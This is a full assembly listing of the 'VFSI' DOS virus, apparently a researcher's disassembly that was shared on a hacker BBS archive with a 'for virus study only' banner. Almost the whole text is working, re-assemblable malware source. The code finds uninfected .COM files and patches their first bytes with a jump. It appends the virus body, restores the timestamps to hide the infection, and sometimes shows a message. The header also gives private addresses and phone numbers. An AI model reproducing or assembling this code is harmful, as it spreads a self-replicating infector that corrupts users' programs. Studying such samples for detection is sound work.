home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VFSI-ASM.ASM < prev    next >
Assembly Source File  |  1992-05-21  |  9KB  |  326 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.     page    ,132
  25.     name    VFSI
  26.     title    The 'VFSI' virus
  27.     .radix    16
  28.  
  29. ; ╔══════════════════════════════════════════════════════════════════════════╗
  30. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  31. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  32. ; ║                                         ║
  33. ; ║                 The 'VFSI' Virus                            ║
  34. ; ║         Disassembled by Vesselin Bontchev, September 1990         ║
  35. ; ║                                         ║
  36. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  37. ; ║                                         ║
  38. ; ║     This listing is only to be made available to virus researchers      ║
  39. ; ║           or software writers on a need-to-know basis.          ║
  40. ; ╚══════════════════════════════════════════════════════════════════════════╝
  41.  
  42. ; The disassembly has been tested by re-assembly using MASM 5.0.
  43.  
  44. code    segment
  45.     assume    cs:code, ds:code
  46.  
  47.     org    100
  48.  
  49. msg_len equ    msg_2-msg_1    ; Length of each of the two messages
  50.  
  51. start:
  52.     jmp    v_entry     ; Jump to the virus body
  53.     nop            ; The rest of the infected program
  54.     mov    ax,4C00     ; Just terminate
  55.     int    21
  56.  
  57. ; 1-15 bytes of garbage (in order to align
  58. ; the virus code to a paragraph boundary):
  59.  
  60.     db    7 dup (0)
  61.  
  62. v_entry:
  63.     mov    ax,word ptr ds:[start+1]
  64.     add    ax,offset start ; Compute the virus start address
  65.  
  66.     mov    cl,4        ; Convert it to a segment address
  67.     shr    ax,cl
  68.     mov    cx,ds
  69.     add    ax,cx
  70.     inc    ax
  71.     mov    ds,ax        ; Put this segment address in DS
  72.  
  73.     jmp    v_start     ; Jump to the true virus code
  74.  
  75. first3    db    0EBh, 2, 90    ; The original first 3 bytes
  76. fmask    db    '*.COM', 0      ; Files to search for
  77. jmp_op    db    0E9        ; A JMP to the virus body is formed here
  78. jmp_adr dw    0Dh
  79.  
  80. ; First of the two encrypted messages. It says:
  81. ; 'HELLO!!! HAPPY DAY and SUCCESS'
  82.  
  83. msg_1    db    2Ah, 28h, 30h, 31h, 35h, 08h
  84.     db    09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh
  85.     db    3Eh, 48h, 10h, 35h, 33h, 4Ch
  86.     db    14h, 56h, 64h, 5Bh, 18h, 4Ch
  87.     db    4Fh, 3Eh, 3Fh, 42h, 51h, 52h
  88.  
  89. ; Second encrypted message. It says:
  90. ; '  from virus 1.1 VFSI-Svistov '
  91.  
  92. msg_2    db    02h, 03h, 4Ah, 57h, 55h, 54h
  93.     db    08h, 5Fh, 53h, 5Dh, 61h, 60h
  94.     db    0Eh, 20h, 1Eh, 22h, 12h, 49h
  95.     db    3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh
  96.     db    63h, 6Eh, 70h, 6Ch, 74h, 1Fh
  97.  
  98. grb_len db    7        ; Length of the garbage added to the file
  99.  
  100. v_start:
  101.     push    ds        ; Save DS
  102.  
  103.     mov    ax,ds:[first3-v_entry]        ; Restore the original first 3
  104.     mov    word ptr cs:[offset start],ax    ;  bytes of the infected file
  105.     mov    al,ds:[first3+2-v_entry]
  106.     mov    byte ptr cs:[offset start+2],al
  107.  
  108.     mov    ax,1A00     ; Set new DTA
  109.     lea    dx,cs:[dta-v_entry]
  110.     int    21        ; Do it
  111.  
  112.     mov    ax,4E00     ; Find first .COM file in the current directory
  113.     lea    dx,cs:[fmask-v_entry]    ; File mask to search for
  114.     mov    cx,00100010b    ; Archive, Hidden and Normal files
  115.     int    21        ; Do it
  116.  
  117. srch_lp:
  118.     jnc    cont        ; If found, continue
  119.     jmp    close        ; Otherwize exit
  120.  
  121. cont:
  122.     mov    ax,3D02     ; Open the file for both reading and writing
  123.     lea    dx,cs:[fname-v_entry]
  124.     int    21        ; Do it
  125.  
  126.     mov    bx,ax        ; Save file handle in BX
  127.  
  128.     mov    ax,4202     ; Lseek to the end of file
  129.     xor    cx,cx
  130.     xor    dx,dx
  131.     int    21        ; Do it
  132.  
  133.     mov    word ptr ds:[fsize-v_entry],ax    ; Save file size
  134.  
  135.     sub    ax,2        ; Lseek two bytes before the file end
  136.     mov    dx,ax
  137.     mov    ax,4200
  138.     int    21        ; Do it
  139.  
  140.     mov    ax,3F00     ; Read the last two bytes of the file
  141.     lea    dx,cs:[last2-v_entry]    ; Put them there
  142.     mov    cx,2        ; (these bytes should contain
  143.     int    21        ;  the virus signature)
  144.  
  145.     mov    cx,ds:[last2-v_entry]    ; Get these bytes
  146.     cmp    cx,ds:[sign-v_entry]    ; Compare them with the virus signature
  147.  
  148. ; If they are not equal, then the file is still not infected. Go infect it:
  149.  
  150.     jne    infect
  151.  
  152.     mov    ax,3E00     ; If file infected, close it
  153.     int    21        ; Do close
  154.  
  155.     mov    ax,4F00     ; Find the next .COM file
  156.     lea    dx,cs:[dta-v_entry]
  157.     int    21        ; Do it
  158.  
  159.     jmp    srch_lp     ; Loop until a non-infected file is found
  160.  
  161. ; A non-infected file is found. Infect it:
  162.  
  163. infect:
  164.     mov    ax,5700     ; Get file's date & time
  165.     int    21        ; Do it
  166.  
  167.     push    cx        ; Save time & date on stack
  168.     push    dx
  169.  
  170.     mov    ax,4200     ; Lseek to the file beginning
  171.     xor    dx,dx
  172.     xor    cx,cx
  173.     int    21        ; Do it
  174.  
  175.     mov    ax,3F00     ; Read the original first 3 bytes of the file
  176.     mov    cx,3
  177.     lea    dx,cs:[first3-v_entry]    ; Save them in the virus body
  178.     int    21        ; Do it
  179.  
  180.     mov    ax,4200     ; Lseek to the beginning of the file again
  181.     xor    dx,dx
  182.     xor    cx,cx
  183.     int    21        ; Do it
  184.  
  185. ; Align file size to the next multiple of 16:
  186.  
  187.     mov    ax,ds:[fsize-v_entry]
  188.     and    ax,1111b
  189.     push    ax        ; Save AX
  190.     xor    ax,1111b
  191.     inc    ax
  192.  
  193. ; Save the number of garbage bytes added in grb_len:
  194.  
  195.     mov    byte ptr ds:[grb_len-v_entry],al
  196.  
  197.     add    ax,ds:[fsize-v_entry]    ; Form a Near JMP to the virus code
  198.     sub    ax,3
  199.     mov    word ptr ds:[jmp_adr-v_entry],ax    ; Form the operand
  200.  
  201.     mov    ax,4000     ; Write this JMP in the first 3 bytes of file
  202.     lea    dx,cs:[jmp_op-v_entry]
  203.     mov    cx,3
  204.     int    21        ; Do it
  205.  
  206.     mov    ax,4202     ; Lseek to the end of file
  207.     mov    dx,0
  208.     xor    cx,cx
  209.     int    21        ; Do it
  210.  
  211.     lea    cx,cs:[v_end-v_entry-1] ; Virus size
  212.     pop    ax        ; Restore AX (new file size)
  213.     mov    dx,ax
  214.     xor    ax,1111b
  215.     add    ax,2
  216.     add    cx,ax        ; Number of bytes to write
  217.  
  218.     mov    ax,ds        ; DS := DS - 1
  219.     dec    ax
  220.     mov    ds,ax
  221.  
  222.     mov    ax,4000     ; Write the virus body after the end of file
  223.     int    21        ; Do it
  224.  
  225.     pop    dx        ; Restore file's date & time
  226.     pop    cx
  227.     mov    ax,5701
  228.     int    21        ; Do it
  229.  
  230. close:
  231.     mov    ax,3E00     ; Close the file
  232.     int    21
  233.  
  234.     pop    ds        ; Restore DS
  235.  
  236.     mov    ah,2C        ; Get current time
  237.     int    21
  238.  
  239. ; If the hundreds of seconds are > 20, quit.
  240. ; This means that the messages are displayed
  241. ; with a probability of about 1/5:
  242.  
  243.     cmp    dl,20d        ; Hundreds of seconds > 20?
  244.     jg    quit        ; Exit if so
  245.  
  246. ; Print the messages:
  247.  
  248.     mov    ax,0E07     ; Beep (teletype write of ASCII 7)
  249.     int    10        ; Do it
  250.  
  251.     mov    ax,0F00     ; Get video mode
  252.     int    10        ; Do it
  253.  
  254.     push    ax        ; Save mode on the stack
  255.  
  256.     xor    ax,ax        ; Set video mode to 40x25 text
  257.     int    10        ; Do it
  258.  
  259.     mov    cx,msg_len    ; Put message length in CX
  260.     mov    dx,0A06     ; Goto row 10, column 6
  261.     mov    bl,0E        ; Screen attribute: dark yellow on black
  262.     lea    bp,cs:[msg_1-v_entry]    ; Point to the first message
  263.  
  264. prt_msg:
  265.     mov    ah,2        ; Go to the next display position
  266.     int    10        ; Do it
  267.  
  268.     mov    si,msg_len    ; Get an ecrypted character from the message
  269.     sub    si,cx
  270.     mov    al,ds:[bp+si]
  271.  
  272.     add    al,msg_len    ; These two instruction are needless
  273.     sub    al,msg_len
  274.  
  275.     add    al,cl        ; Decrypt the character
  276.  
  277.     mov    ah,9        ; Write the character with the
  278.     int    10        ;  selected attribute
  279.  
  280.     inc    dl        ; Go to the next screen position
  281.  
  282.     loop    prt_msg     ; Loop until done
  283.  
  284.     cmp    dh,10d        ; Was this row 10?
  285.     jne    msg_done    ; If not, message printed; exit
  286.  
  287.     mov    cx,msg_len    ; Otherwise get the length of the next message
  288.     mov    bl,8C        ; Screen attribute: blinking bright red on black
  289.     mov    dx,0C06     ; Go to row 12, column 6
  290.     lea    bp,cs:[msg_2-v_entry]    ; Point to the second message
  291.     jmp    prt_msg     ; And go print it
  292.  
  293. msg_done:
  294.     xor    cx,cx        ; CX := 0
  295. delay:
  296.     imul    cx        ; Cause a delay
  297.     imul    cx
  298.     loop    delay        ; Loop until done
  299.  
  300.     pop    ax        ; Restore video mode from the stack
  301.     xor    ah,ah
  302.     int    10        ; Set it as it was originally
  303.  
  304. quit:
  305.     push    cs        ; DS := CS
  306.     pop    ds
  307.  
  308.     mov    ax,1A00     ; Restore old DTA
  309.     mov    dx,81
  310.     int    21        ; Do it
  311.  
  312.     mov    si,offset start ; Jump to address CS:100h
  313.     jmp    si        ; Do it
  314.  
  315. sign    db    0F1, 0C8    ; Virus signature
  316.  
  317. v_end    equ    $
  318.  
  319. fsize    equ    $        ; Word. File size is saved here
  320. last2    equ    $+2        ; Word. Buffer for reading the virus signature
  321. dta    equ    $+4        ; Disk Transfer Area
  322. fname    equ    dta+1E        ; File name found
  323.  
  324. code    ends
  325.     end    start
  326.